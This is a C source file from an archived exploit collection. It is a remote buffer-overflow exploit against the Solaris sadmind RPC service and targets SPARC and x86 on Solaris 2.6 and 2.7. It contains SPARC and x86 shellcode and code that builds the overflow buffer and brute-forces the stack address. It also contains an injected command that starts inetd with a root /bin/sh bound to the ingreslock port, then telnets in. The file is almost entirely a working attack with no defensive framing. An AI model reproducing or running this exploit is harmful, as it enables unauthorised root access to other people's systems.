home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / super-sadmin.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  14KB  |  523 lines
  1. /*************************************************************************\
  2. **                                                                       **
  3. **    Super Solaris sadmin Exploit by optyx <optyx@uberhax0r.net>        **
  4. **    based on sadminsparc. and sadminx86.c by Cheez Whiz                **
  5. **                                                                       **
  6. \*************************************************************************/
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <string.h>
  12. #include <rpc/rpc.h>
  13.  
  14. char shellsparc[] =
  15.   "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
  16.   "\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
  17.   "\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
  18.   "\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
  19.   "\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
  20.   "\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
  21.   "\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  22.   "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  23.   "\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
  24.   "\x2d\x63\xff";
  25.  
  26. char shellx86[] =
  27.   "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31"
  28.   "\xc0\x89\x46\xb7\x88\x46\xbc\x31\xc0\x50\x56\x8b"
  29.   "\x1e\xf7\xdb\x89\xf7\x83\xc7\x10\x57\x89\x3e\x83"
  30.   "\xc7\x08\x88\x47\xff\x89\x7e\x04\x83\xc7\x03\x88"
  31.   "\x47\xff\x89\x7e\x08\x01\xdf\x88\x47\xff\x89\x46"
  32.   "\x0c\xb0\x3b\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
  33.   "\xbe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  34.   "\xff\xff\xff\xff\xff\xff\xff\xff\x2f\x62\x69\x6e"
  35.   "\x2f\x73\x68\xff\x2d\x63\xff";
  36.            
  37.  
  38. int buflen[]      = { 1076, 1056 };
  39. int addrlen[]     = { 560, 8 };
  40. int lens[]        = { 84, 76 };
  41. int offset[]      = { 688, 572 };
  42. int alignment[]   = { 4, 0 };
  43. long int nops[]   = { 0x801bc00f, 0x90 };
  44. int junks[]       = { 512, 536 };
  45. char command[]    = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
  46.                    "> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;";
  47.  
  48. unsigned long int sp[]  = { 0xefff9580, 0xefff9418, 0x080418ec, 0x08041798 };
  49.  
  50. #define FRAMELEN1 608
  51. #define FRAMELEN2 4200
  52.  
  53. #define NETMGT_PROG 100232
  54. #define NETMGT_VERS 10
  55. #define NETMGT_PROC_PING 0
  56. #define NETMGT_PROC_SERVICE 1
  57.  
  58. #define NETMGT_UDP_PING_TIMEOUT 30
  59. #define NETMGT_UDP_PING_RETRY_TIMEOUT 5
  60. #define NETMGT_UDP_SERVICE_TIMEOUT 1
  61. #define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
  62.  
  63. #define NETMGT_HEADER_TYPE 6
  64. #define NETMGT_ARG_INT 3
  65. #define NETMGT_ARG_STRING 9
  66. #define NETMGT_ENDOFARGS "netmgt_endofargs"
  67.  
  68. #define FW_VERSION "VERSION"
  69. #define CLIENT_DOMAIN "CLIENT_DOMAIN"
  70. #define FENCE "FENCE"
  71.  
  72. struct nm_send_header {
  73.   struct timeval timeval1;
  74.   struct timeval timeval2;
  75.   struct timeval timeval3;
  76.   unsigned int uint1;
  77.   unsigned int uint2;
  78.   unsigned int uint3;
  79.   unsigned int uint4;
  80.   unsigned int uint5;
  81.   struct in_addr inaddr1;
  82.   struct in_addr inaddr2;
  83.   unsigned long ulong1;
  84.   unsigned long ulong2;
  85.   struct in_addr inaddr3;
  86.   unsigned long ulong3;
  87.   unsigned long ulong4;
  88.   unsigned long ulong5;
  89.   struct timeval timeval4;
  90.   unsigned int uint6;
  91.   struct timeval timeval5;
  92.   char *string1;
  93.   char *string2;
  94.   char *string3;
  95.   unsigned int uint7;
  96. };
  97.  
  98. struct nm_send_arg_int {
  99.   char *string1;
  100.   unsigned int uint1;
  101.   unsigned int uint2;
  102.   int int1;
  103.   unsigned int uint3;
  104.   unsigned int uint4;
  105. };
  106.  
  107. struct nm_send_arg_string {
  108.   char *string1;
  109.   unsigned int uint1;
  110.   unsigned int uint2;
  111.   char *string2;
  112.   unsigned int uint3;
  113.   unsigned int uint4;
  114. };
  115.  
  116. struct nm_send_footer {
  117.   char *string1;
  118. };
  119.  
  120. struct nm_send {
  121.   struct nm_send_header header;
  122.   struct nm_send_arg_int version;
  123.   struct nm_send_arg_string string;
  124.   struct nm_send_arg_int fence;
  125.   struct nm_send_footer footer;
  126. };
  127.  
  128. struct nm_reply {
  129.   unsigned int uint1;
  130.   unsigned int uint2;
  131.   char *string1;
  132. };
  133.  
  134. bool_t xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
  135. {
  136.   char *addr;
  137.   size_t size = sizeof(struct in_addr);
  138.  
  139.   if(!xdr_long(xdrs, &objp->timeval1.tv_sec))
  140.     return (FALSE);
  141.   if(!xdr_long(xdrs, &objp->timeval1.tv_usec))
  142.     return (FALSE);
  143.   if(!xdr_long(xdrs, &objp->timeval2.tv_sec))
  144.     return (FALSE);
  145.   if(!xdr_long(xdrs, &objp->timeval2.tv_usec))
  146.     return (FALSE);
  147.   if(!xdr_long(xdrs, &objp->timeval3.tv_sec))
  148.     return (FALSE);
  149.   if(!xdr_long(xdrs, &objp->timeval3.tv_usec))
  150.     return (FALSE);
  151.   if(!xdr_u_int(xdrs, &objp->uint1))
  152.     return (FALSE);
  153.   if(!xdr_u_int(xdrs, &objp->uint2))
  154.     return (FALSE);
  155.   if(!xdr_u_int(xdrs, &objp->uint3))
  156.     return (FALSE);
  157.   if(!xdr_u_int(xdrs, &objp->uint4))
  158.     return (FALSE);
  159.   if(!xdr_u_int(xdrs, &objp->uint5))
  160.     return (FALSE);
  161.   addr = (char *) &objp->inaddr1.s_addr;
  162.   if(!xdr_bytes(xdrs, &addr, &size, size))
  163.     return (FALSE);
  164.   if(!xdr_u_long(xdrs, &objp->ulong1))
  165.     return (FALSE);
  166.   if(!xdr_u_long(xdrs, &objp->ulong2))
  167.     return (FALSE);
  168.   if(!xdr_u_long(xdrs, &objp->ulong3))
  169.     return (FALSE);
  170.   if(!xdr_u_long(xdrs, &objp->ulong4))
  171.     return (FALSE);
  172.   if(!xdr_u_long(xdrs, &objp->ulong5))
  173.     return (FALSE);
  174.   if(!xdr_long(xdrs, &objp->timeval4.tv_sec))
  175.     return (FALSE);
  176.   if(!xdr_long(xdrs, &objp->timeval4.tv_usec))
  177.     return (FALSE);
  178.   if(!xdr_u_int(xdrs, &objp->uint6))
  179.     return (FALSE);
  180.   if(!xdr_long(xdrs, &objp->timeval5.tv_sec))
  181.     return (FALSE);
  182.   if(!xdr_long(xdrs, &objp->timeval5.tv_usec))
  183.     return (FALSE);
  184.   if(!xdr_wrapstring(xdrs, &objp->string1))
  185.     return (FALSE);
  186.   if(!xdr_wrapstring(xdrs, &objp->string2))
  187.     return (FALSE);
  188.   if(!xdr_wrapstring(xdrs, &objp->string3))
  189.     return (FALSE);
  190.   if(!xdr_u_int(xdrs, &objp->uint7))
  191.     return (FALSE);
  192.   return (TRUE);
  193. }
  194.  
  195. bool_t xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
  196. {
  197.   if(!xdr_wrapstring(xdrs, &objp->string1))
  198.     return (FALSE);
  199.   if(!xdr_u_int(xdrs, &objp->uint1))
  200.     return (FALSE);
  201.   if(!xdr_u_int(xdrs, &objp->uint2))
  202.     return (FALSE);
  203.   if(!xdr_int(xdrs, &objp->int1))
  204.     return (FALSE);
  205.   if(!xdr_u_int(xdrs, &objp->uint3))
  206.     return (FALSE);
  207.   if(!xdr_u_int(xdrs, &objp->uint4))
  208.     return (FALSE);
  209.   return (TRUE);
  210. }
  211.  
  212. bool_t xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
  213. {
  214.   if(!xdr_wrapstring(xdrs, &objp->string1))
  215.     return (FALSE);
  216.   if(!xdr_u_int(xdrs, &objp->uint1))
  217.     return (FALSE);
  218.   if(!xdr_u_int(xdrs, &objp->uint2))
  219.     return (FALSE);
  220.   if(!xdr_wrapstring(xdrs, &objp->string2))
  221.     return (FALSE);
  222.   if(!xdr_u_int(xdrs, &objp->uint3))
  223.     return (FALSE);
  224.   if(!xdr_u_int(xdrs, &objp->uint4))
  225.     return (FALSE);
  226.   return (TRUE);
  227. }
  228.  
  229. bool_t xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
  230. {
  231.   if(!xdr_wrapstring(xdrs, &objp->string1))
  232.     return (FALSE);
  233.   return (TRUE);
  234. }
  235.  
  236. bool_t xdr_nm_send(XDR *xdrs, struct nm_send *objp)
  237. {
  238.   if(!xdr_nm_send_header(xdrs, &objp->header))
  239.     return (FALSE);
  240.   if(!xdr_nm_send_arg_int(xdrs, &objp->version))
  241.     return (FALSE);
  242.   if(!xdr_nm_send_arg_string(xdrs, &objp->string))
  243.     return (FALSE);
  244.   if(!xdr_nm_send_arg_int(xdrs, &objp->fence))
  245.     return (FALSE);
  246.   if(!xdr_nm_send_footer(xdrs, &objp->footer))
  247.     return (FALSE);
  248.   return (TRUE);
  249. }
  250.  
  251. bool_t xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
  252. {
  253.   if(!xdr_u_int(xdrs, &objp->uint1))
  254.     return (FALSE);
  255.   if(!xdr_u_int(xdrs, &objp->uint2))
  256.     return (FALSE);
  257.   if(!xdr_wrapstring(xdrs, &objp->string1))
  258.     return (FALSE);
  259.   return (TRUE);
  260. }
  261.  
  262. void usage(char *prog)
  263. {
  264.   fprintf(stderr, "usage: %s -t target -a arch [-s size]", prog);
  265.   fprintf(stderr, " [-i increment] [-p]\n");
  266.   fprintf(stderr, "\tarchitectures:\n");
  267.   fprintf(stderr, "\t0 - Solaris SPARC 2.6\n");
  268.   fprintf(stderr, "\t1 - Solaris SPARC 2.7 (7.0)\n");
  269.   fprintf(stderr, "\t2 - Solaris x86   2.6\n");
  270.   fprintf(stderr, "\t3 - Solaris x86   2.7 (7.0)\n\n");
  271.  
  272.   exit(-1);  
  273. }
  274.  
  275. int exp(char *host, int arch, unsigned long int sp, int pinging)
  276. {
  277.   CLIENT *cl;
  278.   struct nm_send send;
  279.   struct nm_reply reply;
  280.   struct timeval tm;
  281.   enum clnt_stat stat;
  282.   int c, i, len, slen, clen, junk, a;
  283.   char *cp, *buf;
  284.   unsigned long int addr, fp;
  285.   
  286.   a = (int) arch / 2;  
  287.   buf = (char *) malloc(buflen[a] + 1);
  288.  
  289.   if(a)
  290.   {
  291.     /* Solaris x86 */
  292.     memset(buf, nops[a], buflen[a]);
  293.     junk = junks[arch - 2];
  294.     junk &= 0xfffffffc;
  295.  
  296.     for (i = 0, cp = buf + alignment[a]; i < junk / 4; i++) 
  297.     {
  298.       *cp++ = (sp >>  0) & 0xff;
  299.       *cp++ = (sp >>  8) & 0xff;
  300.       *cp++ = (sp >> 16) & 0xff;
  301.       *cp++ = (sp >> 24) & 0xff;
  302.     }
  303.  
  304.     addr = sp + offset[a];
  305.  
  306.     for (i = 0; i < addrlen[a] / 4; i++) 
  307.     {
  308.       *cp++ = (addr >>  0) & 0xff;
  309.       *cp++ = (addr >>  8) & 0xff;
  310.       *cp++ = (addr >> 16) & 0xff;
  311.       *cp++ = (addr >> 24) & 0xff;
  312.     }
  313.  
  314.     slen = strlen(shellx86); 
  315.     clen = strlen(command);
  316.     len = clen; 
  317.     len++; 
  318.     len = -len;
  319.     shellx86[lens[a]+0] = (len >>  0) & 0xff;
  320.     shellx86[lens[a]+1] = (len >>  8) & 0xff;
  321.     shellx86[lens[a]+2] = (len >> 16) & 0xff;
  322.     shellx86[lens[a]+3] = (len >> 24) & 0xff;
  323.     cp = buf + buflen[a] - 1 - clen - slen;
  324.     memcpy(cp, shellx86, slen); 
  325.     cp += slen;
  326.     memcpy(cp, command, clen); 
  327.     cp += clen;
  328.     *cp = '\xff';
  329.   }
  330.   else
  331.   {
  332.     /* Solaris SPARC */
  333.     memset(buf, '\xff', buflen[a]);
  334.     fp = sp + FRAMELEN1 + FRAMELEN2;
  335.     fp &= 0xfffffff8;
  336.     addr = sp + offset[a];
  337.     addr &= 0xfffffffc;
  338.  
  339.     for(i = 0, cp = buf + alignment[a]; i < addrlen[a] / 8; i++)
  340.     {
  341.       *cp++ = (fp >> 24) & 0xff;
  342.       *cp++ = (fp >> 16) & 0xff;
  343.       *cp++ = (fp >>  8) & 0xff;
  344.       *cp++ = (fp >>  0) & 0xff;
  345.       *cp++ = (addr >> 24) & 0xff;
  346.       *cp++ = (addr >> 16) & 0xff;
  347.       *cp++ = (addr >>  8) & 0xff;
  348.       *cp++ = (addr >>  0) & 0xff;
  349.     }
  350.     
  351.     slen = strlen(shellsparc);
  352.     clen = strlen(command);
  353.     len = buflen[a] - 1 - clen - slen - addrlen[a] - alignment[a];
  354.     len &= 0xfffffffc;
  355.     for(i = 0; i < lens[a] / 4; i++)
  356.     {
  357.       *cp++ = (nops[a] >> 24) & 0xff;
  358.       *cp++ = (nops[a] >> 16) & 0xff;
  359.       *cp++ = (nops[a] >>  8) & 0xff;
  360.       *cp++ = (nops[a] >>  0) & 0xff;
  361.     }
  362.     len = clen;
  363.     len++;
  364.     len = -len;
  365.     shellsparc[lens[a]+0] = (len >> 24) & 0xff;
  366.     shellsparc[lens[a]+1] = (len >> 16) & 0xff;
  367.     shellsparc[lens[a]+2] = (len >>  8) & 0xff;
  368.     shellsparc[lens[a]+3] = (len >>  0) & 0xff;
  369.     memcpy(cp, shellsparc, slen);
  370.     cp += slen;
  371.     memcpy(cp, command, clen);
  372.   }
  373.  
  374.   buf[buflen[a]] = '\0';
  375.   memset(&send, 0, sizeof(struct nm_send));
  376.   send.header.uint2 = NETMGT_HEADER_TYPE;
  377.   send.header.string1 = "";
  378.   send.header.string2 = "";
  379.   send.header.string3 = "";
  380.   send.header.uint7 =
  381.     strlen(FW_VERSION) + 1 +
  382.     (4 * sizeof(unsigned int)) + sizeof(int) +
  383.     strlen(CLIENT_DOMAIN) + 1 +
  384.     (4 * sizeof(unsigned int)) + strlen(buf) + 1 +
  385.     strlen(FENCE) + 1 +
  386.     (4 * sizeof(unsigned int)) + sizeof(int) +
  387.     strlen(NETMGT_ENDOFARGS) + 1;
  388.   send.version.string1 = FW_VERSION;
  389.   send.version.uint1 = NETMGT_ARG_INT;
  390.   send.version.uint2 = sizeof(int);
  391.   send.version.int1 = 1;
  392.   send.string.string1 = CLIENT_DOMAIN;
  393.   send.string.uint1 = NETMGT_ARG_STRING;
  394.   send.string.uint2 = strlen(buf);
  395.   send.string.string2 = buf;
  396.   send.fence.string1 = FENCE;
  397.   send.fence.uint1 = NETMGT_ARG_INT;
  398.   send.fence.uint2 = sizeof(int);
  399.   send.fence.int1 = 666;
  400.   send.footer.string1 = NETMGT_ENDOFARGS;
  401.   cl = clnt_create(host, NETMGT_PROG, NETMGT_VERS, "udp");
  402.  
  403.   if (cl == NULL) 
  404.   {
  405.     clnt_pcreateerror("clnt_create");
  406.     return 0;
  407.   }
  408.  
  409.   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  410.  
  411.   if (!pinging) 
  412.   {
  413.     tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; 
  414.     tm.tv_usec = 0;
  415.  
  416.     if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) 
  417.     {
  418.       fprintf(stderr, "unable to set timeout\n");
  419.       exit(1);
  420.     }
  421.  
  422.     tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; 
  423.     tm.tv_usec = 0;
  424.  
  425.     if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) 
  426.     {
  427.       fprintf(stderr, "unable to set timeout\n");
  428.       exit(1);
  429.     }
  430.  
  431.     stat = clnt_call(cl, NETMGT_PROC_SERVICE,
  432.       xdr_nm_send, (caddr_t) &send,
  433.       xdr_nm_reply, (caddr_t) &reply, tm);
  434.  
  435.     if (stat != RPC_SUCCESS) 
  436.     {
  437.       clnt_perror(cl, "clnt_call");
  438.       fprintf(stdout, "now check if exploit worked;\n");
  439.       return 0;
  440.     }
  441.  
  442.     fprintf(stderr, "exploit failed; "
  443.       "RPC succeeded and returned { %u, %u, \"%s\" }\n",
  444.       reply.uint1, reply.uint2, reply.string1);
  445.     clnt_destroy(cl);
  446.     exit(1);
  447.   } 
  448.   else 
  449.   {
  450.  
  451.     tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; 
  452.     tm.tv_usec = 0;
  453.  
  454.     if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) 
  455.     {
  456.       fprintf(stderr, "unable to set timeout\n");
  457.       exit(1);
  458.     }
  459.  
  460.     tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; 
  461.     tm.tv_usec = 0;
  462.  
  463.     if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) 
  464.     {
  465.       fprintf(stderr, "unable to set timeout\n");
  466.       exit(1);
  467.     }
  468.  
  469.     stat = clnt_call(cl, NETMGT_PROC_PING,
  470.       xdr_void, NULL,
  471.       xdr_void, NULL, tm);
  472.  
  473.     if (stat != RPC_SUCCESS) 
  474.     {
  475.       clnt_perror(cl, "clnt_call");
  476.       exit(1);
  477.     }
  478.  
  479.     clnt_destroy(cl);
  480.     return 0;
  481.   }
  482. }
  483.  
  484. int main(int argc, char *argv[])
  485. {
  486.   int i, arch;
  487.   char *host = "";
  488.   int pinging = 0, inc = 4, size = 2048;
  489.   unsigned long int addr;
  490.  
  491.   for(i=0;i<argc;i++)
  492.   {
  493.     if(!strcmp(argv[i], "-t"))
  494.       host = argv[i+1];  
  495.     if(!strcmp(argv[i], "-a"))
  496.       arch = atoi(argv[i+1]);
  497.     if(!strcmp(argv[i], "-i"))
  498.       inc = atoi(argv[i+1]);
  499.     if(!strcmp(argv[i], "-s"))
  500.       size = atoi(argv[i+1]);  
  501.     if(!strcmp(argv[i], "-p"))
  502.       pinging = 1;
  503.   }
  504.  
  505.   if(arch > 3 || arch < 0)
  506.     usage(argv[0]);
  507.   if(size < 0)
  508.     usage(argv[0]);
  509.   if(inc < 0)
  510.     usage(argv[0]);
  511.  
  512.   for(i = 0; i < size; i+=inc)
  513.   {
  514.     addr = sp[arch] + i;
  515.     exp(host, arch, addr, pinging); 
  516.     addr = sp[arch] - i;
  517.     exp(host, arch, addr, pinging);
  518.   }
  519.  
  520.   execl("telnet", host, "ingreslock");
  521.   return 0;
  522. }
  523. /*                   www.hack.co.za   [1 December 2000]*/